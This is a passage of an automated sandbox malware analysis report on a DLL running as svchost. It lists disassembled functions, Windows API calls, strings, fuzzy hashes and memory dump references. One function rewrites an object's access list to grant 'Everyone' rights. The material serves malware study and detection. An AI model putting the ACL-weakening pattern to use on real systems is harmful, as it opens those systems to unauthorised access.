Associated: 00000008.00000002.4119751685.0000000011799000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119832198.000000001179D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119931124.00000000117B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120003990.00000000117B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120111077.00000000117B7000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: FileFind$CloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 196174304-0
Opcode ID: a389844f1d64605d89436792b993084a2232833ae05175975f7bf04731c3bbbf
Instruction ID: 811bc0045d18f9079b2070192521b39edf3d05953a5522ebb9f5ec5a7a9bce1d
Opcode Fuzzy Hash: a389844f1d64605d89436792b993084a2232833ae05175975f7bf04731c3bbbf
Instruction Fuzzy Hash: 8C51F7366086490BC728DA389C615AB77C6EBC9270F554B2DFDABC72D0EE75DD4C8280

Function 10018090 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 113librarywindowloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?), ref: 100180A2
LoadLibraryA.KERNEL32(?), ref: 100180AF
wsprintfA.USER32 ref: 100180C6
MessageBoxA.USER32(00000000,?,DLL ERROR,00000010), ref: 100180DC

Part of subcall function 10014AB0: ExitProcess.KERNEL32 ref: 10014AC5

GetProcAddress.KERNEL32(00000000,00000040), ref: 10018171
wsprintfA.USER32 ref: 10018189
MessageBoxA.USER32(00000000,?,DLL ERROR,00000010), ref: 1001819F

Strings

DLL ERROR, xrefs: 100180D5, 10018198

Memory Dump Source

Source File: 00000008.00000002.4112143127.0000000010001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.4112062449.0000000010000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112273404.000000001002D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010A33000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116D2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116F7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011715000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001173B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011746000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119751685.0000000011799000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119832198.000000001179D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119931124.00000000117B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120003990.00000000117B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120111077.00000000117B7000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: Messagewsprintf$AddressExitHandleLibraryLoadModuleProcProcess
String ID: DLL ERROR
API String ID: 1172160414-4092134112
Opcode ID: 396b458f0dba045c6d7b213ccafcbe7106fbb045d978e40fc806882f683d9e12
Instruction ID: 9dc748702d4e825c5f41e2022170f5955cee021043fca10ce294442cb91b5b2d
Opcode Fuzzy Hash: 396b458f0dba045c6d7b213ccafcbe7106fbb045d978e40fc806882f683d9e12
Instruction Fuzzy Hash: 323118B25003566BD320DF24EC84B9BB79CEB84320F104929FB05D7241EB75EA5AC7A6

Function 1002278E Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 50libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(user32.dll,?,00000000,00000000,1001D052,?,Microsoft Visual C++ Runtime Library,00012010,?,1002F030,?,1002F080,?,?,?,Runtime Error!Program: ), ref: 100227A0
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 100227B8
GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 100227C9
GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 100227D6

Strings

GetActiveWindow, xrefs: 100227C3
GetLastActivePopup, xrefs: 100227CB
MessageBoxA, xrefs: 100227B2
user32.dll, xrefs: 1002279B

Memory Dump Source

Source File: 00000008.00000002.4112143127.0000000010001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.4112062449.0000000010000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112273404.000000001002D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010A33000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116D2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116F7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011715000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001173B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011746000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119751685.0000000011799000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119832198.000000001179D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119931124.00000000117B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120003990.00000000117B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120111077.00000000117B7000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$MessageBoxA$user32.dll
API String ID: 2238633743-4044615076
Opcode ID: 4f039d02fa81c19c5b4c17adaecf385c36a334a74ce14d2f6036c9a1bfb85a6d
Instruction ID: 0ab79cf93ae53d4d6d07ba84a59cfe38b5946c253b4c3df0631ada1bf20a33c7
Opcode Fuzzy Hash: 4f039d02fa81c19c5b4c17adaecf385c36a334a74ce14d2f6036c9a1bfb85a6d
Instruction Fuzzy Hash: A8011E31608261AED740EEF9ADC0E6A7BEAEE5C2E63610439F604D2211DB34C8459B64

Function 10021D9D Relevance: 13.7, APIs: 9, Instructions: 177COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,1002F2D4,00000001,00000000,00000000,00000100,00000001,00000000), ref: 10021DDF
LCMapStringA.KERNEL32(00000000,00000100,1002F2D0,00000001,00000000,00000000), ref: 10021DFB
LCMapStringA.KERNEL32(?,?,?,?,?,?,00000100,00000001,00000000), ref: 10021E44
MultiByteToWideChar.KERNEL32(?,?,?,?,00000000,00000000,00000100,00000001,00000000), ref: 10021E7C
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000), ref: 10021ED4
LCMapStringW.KERNEL32(?,?,?,00000000,00000000,00000000), ref: 10021EEA
LCMapStringW.KERNEL32(?,?,?,00000000,?,?), ref: 10021F1D
LCMapStringW.KERNEL32(?,?,?,?,?,00000000), ref: 10021F85

Memory Dump Source

Source File: 00000008.00000002.4112143127.0000000010001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.4112062449.0000000010000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112273404.000000001002D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010A33000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116D2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116F7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011715000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001173B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011746000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119751685.0000000011799000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119832198.000000001179D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119931124.00000000117B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120003990.00000000117B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120111077.00000000117B7000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: String$ByteCharMultiWide
String ID:
API String ID: 352835431-0
Opcode ID: 2f12418c3368473d6e646db2a709e67f0d1f7a86c60a7a470a751036bfeaa98b
Instruction ID: 3198efc38e8e43d7beabbe1a376027e87f28e5d1a48531aef34df1532d94f486
Opcode Fuzzy Hash: 2f12418c3368473d6e646db2a709e67f0d1f7a86c60a7a470a751036bfeaa98b
Instruction Fuzzy Hash: 67517736900259BFCF62DF94DD85EDE3BB9EB58790F60012AFD24A2160C3328D61DB60

Function 1001CF2E Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 100fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,10015033), ref: 1001CF9B
GetStdHandle.KERNEL32(000000F4,1002F030,00000000,00000000,00000000,10015033), ref: 1001D071
WriteFile.KERNEL32(00000000), ref: 1001D078

Strings

<program name unknown>, xrefs: 1001CFAB
..., xrefs: 1001CFED
Runtime Error!Program: , xrefs: 1001D001
Microsoft Visual C++ Runtime Library, xrefs: 1001D047

Memory Dump Source

Source File: 00000008.00000002.4112143127.0000000010001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.4112062449.0000000010000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112273404.000000001002D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010A33000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116D2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116F7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011715000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001173B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011746000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119751685.0000000011799000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119832198.000000001179D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119931124.00000000117B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120003990.00000000117B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120111077.00000000117B7000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: File$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 3784150691-4022980321
Opcode ID: bc395e491596b385c997241ec642e4f047386c9b85b14bbd49b38d831ddc82e0
Instruction ID: fb06c5fbf78ca9fb100ab7f21fd8b476e943cb5cf24102ae1bf04602a78a0b94
Opcode Fuzzy Hash: bc395e491596b385c997241ec642e4f047386c9b85b14bbd49b38d831ddc82e0
Instruction Fuzzy Hash: 7D31C672A0121DAFDF20EAA0DD85FDA73ADEB45380F90056AF645DA041D670E9C5CB51

Function 10022311 Relevance: 9.1, APIs: 6, Instructions: 117COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(00000001,1002F2D4,00000001,?,00000100,00000001,00000000), ref: 10022350
GetStringTypeA.KERNEL32(00000000,00000001,1002F2D0,00000001,?), ref: 1002236A
GetStringTypeA.KERNEL32(?,?,?,?,?,00000100,00000001,00000000), ref: 1002239E
MultiByteToWideChar.KERNEL32(?,?,?,?,00000000,00000000,00000100,00000001,00000000), ref: 100223D6
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,?), ref: 1002242C
GetStringTypeW.KERNEL32(?,?,00000000,?,?,?), ref: 1002243E

Memory Dump Source

Source File: 00000008.00000002.4112143127.0000000010001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.4112062449.0000000010000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112273404.000000001002D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010A33000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116D2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116F7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011715000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001173B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011746000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119751685.0000000011799000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119832198.000000001179D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119931124.00000000117B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120003990.00000000117B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120111077.00000000117B7000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: StringType$ByteCharMultiWide
String ID:
API String ID: 3852931651-0
Opcode ID: 3ae18a6c4a5b1019a37893f2f15e33b13e6be0e91844ee9a6e55d953f8584aba
Instruction ID: 3261b6f5ef8bb35144e10449a29910b77f6e16047c24ff59547c18758f54a317
Opcode Fuzzy Hash: 3ae18a6c4a5b1019a37893f2f15e33b13e6be0e91844ee9a6e55d953f8584aba
Instruction Fuzzy Hash: 6A417E71900259BFDB11EF94DC86EEE3BB9FB08294FA04429F914D6160C3359951CBA1

Function 1000C2E8 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 347COMMON

Download Yara Rule

APIs

GetNamedSecurityInfoA.ADVAPI32(?,00000000,00000004,00000000,00000000,?,00000000,?), ref: 1000C3D7
BuildExplicitAccessWithNameA.ADVAPI32(00000000,00000003), ref: 1000C49B
SetEntriesInAclA.ADVAPI32(00000001,00000000), ref: 1000C5AF
SetNamedSecurityInfoA.ADVAPI32(?,?,00000004,00000000,00000000,?,00000000), ref: 1000C679

Strings

Everyone, xrefs: 1000C36E, 1000C373

Memory Dump Source

Source File: 00000008.00000002.4112143127.0000000010001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.4112062449.0000000010000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112273404.000000001002D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010A33000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116D2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116F7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011715000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001173B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011746000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119751685.0000000011799000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119832198.000000001179D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119931124.00000000117B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120003990.00000000117B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120111077.00000000117B7000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: InfoNamedSecurity$AccessBuildEntriesExplicitNameWith
String ID: Everyone
API String ID: 3268678561-3285609282
Opcode ID: 616bae76b7f890c8c071d5e446d7205929bfde4f95ae8784bb1c087d852d7df4
Instruction ID: cad84c34ad5b1aafea9704f830a92c3ff65d991b9a371f229944beba8cee24f5
Opcode Fuzzy Hash: 616bae76b7f890c8c071d5e446d7205929bfde4f95ae8784bb1c087d852d7df4
Instruction Fuzzy Hash: FAC107B1A803469BFB00CF98DCC1B9977E4EB19324F290421E906AF344D779F965DB62

Function 10017000 Relevance: 7.5, APIs: 5, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PeekMessageA.USER32(00000000,00000000,00000000,00000000,00000000), ref: 1001701A
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 10017044
TranslateMessage.USER32(?), ref: 1001704B
DispatchMessageA.USER32(?), ref: 10017052
PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 10017061

Memory Dump Source

Source File: 00000008.00000002.4112143127.0000000010001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.4112062449.0000000010000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112273404.000000001002D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010A33000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116D2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116F7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011715000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001173B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011746000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119751685.0000000011799000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119832198.000000001179D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119931124.00000000117B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120003990.00000000117B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120111077.00000000117B7000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchTranslate
String ID:
API String ID: 1795658109-0
Opcode ID: 41d88d421844a729f4d157470c06e0203b58cb39fd45d76ef1be08e2bdbf8d74
Instruction ID: e7916c414f3b5ce2ce4a926e44a4d29523751b187c828504dec80e4179f1caa8
Opcode Fuzzy Hash: 41d88d421844a729f4d157470c06e0203b58cb39fd45d76ef1be08e2bdbf8d74
Instruction Fuzzy Hash: EC014972240315B6F220EB54DC82F9677ACEB84B50F600419F7049B1C0D6B5F905C766

Function 1001C52C Relevance: 7.5, APIs: 5, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,1001C14A,10021BFF,?,1001E89B,?,?,00000001,00000800,?,00000000,?,1001F083,?,?), ref: 1001C52E
TlsGetValue.KERNEL32(?,1001F083,?,?,?,1001EAB3,?,?,?,?,?,00000000), ref: 1001C53C
SetLastError.KERNEL32(00000000,?,1001F083,?,?,?,1001EAB3,?,?,?,?,?,00000000), ref: 1001C588

Part of subcall function 10022170: HeapAlloc.KERNEL32(00000008,?,00000000,00000000,?), ref: 10022266

TlsSetValue.KERNEL32(00000000,?,1001F083,?,?,?,1001EAB3,?,?,?,?,?,00000000), ref: 1001C560
GetCurrentThreadId.KERNEL32 ref: 1001C571

Memory Dump Source

Source File: 00000008.00000002.4112143127.0000000010001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.4112062449.0000000010000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112273404.000000001002D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010A33000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010D0D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116D2000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.00000000116F7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011715000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001173B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000011746000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119751685.0000000011799000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119832198.000000001179D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4119931124.00000000117B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120003990.00000000117B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4120111077.00000000117B7000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: ErrorLastValue$AllocCurrentHeapThread
String ID:
API String ID: 2020098873-0
Opcode ID: 350a6c2c6fcd9f7c81184bb89d9edf4c27cabf379e7b718107596da9c0e10389
Instruction ID: 359ea52b15f867d043dc8eec204987e53d4eca14c790db7a4e2147e3c930e296
Opcode Fuzzy Hash: 350a6c2c6fcd9f7c81184bb89d9edf4c27cabf379e7b718107596da9c0e10389
Instruction Fuzzy Hash: A7F02B355017359BE7317B30AC49E5E7A61EF557F1B210315F5449A1A0CB30DCC28790

Function 1001FC71 Relevance: 6.4, APIs: 5, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000000,00002020,1179B228,1179B228,?,?,1002013D,00000000,?,00000000,00000009,00000009,?,10022239,?,00000000), ref: 1001FC92
VirtualAlloc.KERNEL32(00000000,00400000,00002000,00000004,?,?,1002013D,00000000,?,00000000,00000009,00000009,?,10022239,?,00000000), ref: 1001FCB6
VirtualAlloc.KERNEL32(00000000,00010000,00001000,00000004,?,?,1002013D,00000000,?,00000000,00000009,00000009,?,10022239,?,00000000), ref: 1001FCD0
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,1002013D,00000000,?,00000000,00000009,00000009,?,10022239,?,00000000,00000000), ref: 1001FD91
HeapFree.KERNEL32(00000000,00000000,?,?,1002013D,00000000,?,00000000,00000009,00000009,?,10022239,?,00000000,00000000,?), ref: 1001FDA8

Memory Dump Source

Source File: 00000008.00000002.4112143127.0000000010001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.4112062449.0000000010000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112273404.000000001002D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.4112336911.0000000010A33000.00000008.00000001.01000000.0000000B.sdmpDownload File
